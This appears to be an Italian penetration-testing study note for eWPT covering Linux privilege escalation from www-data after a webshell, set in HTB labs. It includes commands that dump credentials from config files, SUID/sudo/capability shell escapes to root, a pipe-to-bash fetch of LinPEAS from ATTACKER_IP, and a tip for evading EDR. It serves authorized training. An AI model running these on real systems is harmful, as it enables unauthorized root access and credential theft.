eWPT · Exploitation & Post-Ex
Privilege Escalation (Web Context)
Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 04-Webshell-Deployment.md Lab: HTB (macchine con privesc post-webshell)
Obiettivo
Sei dentro, ma sei www-data: puoi leggere quello che il server web può leggere, eseguire quello che quel processo può eseguire, niente di più. Quasi nessun lab (e quasi nessun engagement reale) finisce lì: il salto da questo utente a basso privilegio a qualcuno con accesso pieno al sistema è dove si gioca il resto della chain, ed è anche la parte più simile a un puzzle — enumeri il sistema, trovi un dettaglio che qualcun altro ha lasciato scoperto, e lo usi.
Concetti chiave
Vettori più comuni in contesto post-webshell
| Vettore | Comando di check |
|---|---|
| SUID binary | find / -perm -4000 2>/dev/null |
| Capabilities su binari | getcap -r / 2>/dev/null |
| Sudo senza password | sudo -l |
| Credenziali in file di config | grep -r "password" /var/www/ 2>/dev/null |
| Cron job scrivibili | cat /etc/crontab, ls -la /etc/cron.* |
| Kernel exploit noto | uname -a poi ricerca CVE |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| LinPEAS | curl -s URL/linpeas.sh \| bash |
report completo enumerazione | script automatico, molto rumoroso |
| linux-exploit-suggester | ./les.sh |
kernel exploit candidati | incrocia versione kernel con CVE noti |
| WinPEAS | eseguibile su target Windows | report completo enumerazione | equivalente Windows di LinPEAS |
Payload / Esempi
Esempio 1: enumerazione automatica con LinPEAS
# sul tuo host, servi lo script
python3 -m http.server 80
# dalla webshell/reverse shell sul target
curl http://ATTACKER_IP/linpeas.sh | bash
Spiegazione: LinPEAS evidenzia automaticamente (in colore) i vettori più probabili: SUID sospetti, cron scrivibili, credenziali in file di configurazione trovati durante la scansione.
Esempio 2: credenziali riusate trovate in file di config web
cat /var/www/html/config.php | grep -i "pass\|user"
find / -name "*.env" 2>/dev/null -exec cat {} \;
find / -name "wp-config.php" 2>/dev/null -exec cat {} \;
Spiegazione: è comune trovare credenziali DB nel config.php dell’applicazione compromessa: verifica sempre se sono riusate per un account di sistema (su username) o per SSH.
Esempio 3: SUID binary sfruttabile
find / -perm -4000 2>/dev/null
# se trovi, ad esempio, /usr/bin/find con SUID:
find . -exec /bin/sh -p \; -quit
Spiegazione: consulta sempre GTFOBins per il binario SUID trovato: molti binari comuni (find, vim, less, python) hanno una tecnica nota di escape verso una shell privilegiata.
Esempio 4: sudo senza password su comando specifico
sudo -l
# Output: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'
Spiegazione: anche un singolo binario consentito senza password in sudo può bastare per un escape a shell privilegiata, sempre verificabile su GTFOBins.
Esempio 5: Linux capabilities su un interprete
getcap -r / 2>/dev/null
# Output: /usr/bin/python3.9 = cap_setuid+ep
python3.9 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Spiegazione: una capability come cap_setuid assegnata a un binario permette di elevare a UID 0 senza che il binario stesso abbia il bit SUID classico (find -perm -4000 non la rileva): verifica sempre anche le capabilities con getcap, e consulta GTFOBins nella sezione “Capabilities” del binario trovato per la tecnica esatta.
Evasion / Bypass Techniques
Ridurre il rumore di LinPEAS/enumerazione automatica
Se serve stealth, preferisci enumerazione manuale mirata (SUID, sudo -l, cron) invece di script che generano molte letture/scritture su tutto il filesystem, più facilmente rilevabili da EDR/monitoring.
Lab Hands-On
Lab 1 (HTB): privesc da www-data a root post-webshell
Obiettivo: completare la chain da RCE web a privilegi massimi Difficulty: Difficile Time: 1.5h
Walkthrough breve:
- Enumera con LinPEAS o manualmente (SUID, sudo, cron, config file)
- Identifica il vettore più promettente
- Verifica su GTFOBins la tecnica di escalation per il binario/permesso trovato
Common Mistakes
- Correre subito a LinPEAS senza guardare prima manualmente
sudo -le file di config dell’app -> spesso la credenziale riusata è la via più rapida, già visibile senza tool - Non consultare GTFOBins per il binario SUID/sudo trovato -> spesso la tecnica esatta è già documentata lì
Link Utili
Connessioni
- Prerequisito: 04-Webshell-Deployment.md
- Prossimo Step: 06-Data-Exfiltration.md
Checklist di padronanza
- So enumerare manualmente SUID/capabilities/sudo/cron/config
- So usare LinPEAS e interpretarne l’output
- So consultare GTFOBins per una tecnica specifica
- Ho completato almeno una privesc end-to-end su un lab